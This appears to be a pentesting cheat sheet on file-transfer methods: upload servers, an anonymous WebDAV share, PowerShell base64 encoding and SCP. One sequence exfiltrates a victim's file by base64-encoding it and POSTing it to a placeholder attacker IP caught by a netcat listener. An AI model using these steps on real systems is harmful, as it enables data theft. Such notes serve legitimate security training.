Skip to main content

Note
  • Some Operations May Be Blocked Due to Windows Firewall - Policies.
  • Outbound Traffic is usually Disallowed using HTTP (TCP/80) and HTTPS (TCP/443) Protocols.
  • The Default Ports that the Services use Down Below Might be Blocked Or Filtered by IDS - Firewall - Policies.
Note
  • Server - Basic Queries to setup a Running Server.
  • Target - These Operations should be done on the Victim Machine.
  • Interactive - We Log into a Remote Machine via RDP - SSH etc..
  • Non Interactive - Commands run in their own Subshell and this Shell is not Interactive. Opens to Execute but closes Immediately.

Python Web Server

:: Requires [uploadserver] Package && [PSUpload.ps1] Powershell Script
:: HTTP Server
python3 -m uploadserver

:: HTTPS Server
:: Create a Self-Signed Certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

:: Start the Web Server
mkdir https && cd https
python3 -m uploadserver 443 --server-certificate /<OPENSSL [server.pem] Location>


FTP

:: Requires [pyftpdlib] Package 
:: Start The Server
python3 -m pyftpdlib --port 21


WebDav

:: Requires [wsgidav - cheroot] Packages
wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous


PSH [BASE64]

# PowerShell Base64 Encode && Decode
[Convert]::ToBase64String((Get-Content -path "C:\<File Name>" -Encoding byte))

# Compare the File Hash
Get-FileHash "C:\<File Name>" -Algorithm MD5

# Decode Base64
echo "<BASE64>" | base64 -d > <Output>
# [Invoke-WebRequest] Method 
# [Invoke-RestMethod] is also Available
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\<File Name>' -Encoding Byte))
Invoke-WebRequest -Uri http://<IP>:<Netcat Port>/ -Method POST -Body $b64

# We can catch the Base64 Data with [Netcat]
nc -nvlp <PORT>

# Decode Base64
echo "<BASE64>" | base64 -d -w 0 > <Output>

SCP

:: Copy Local File to the Remote System
scp -P 22 "<File Name>" <Username>@<IP>:/<Output>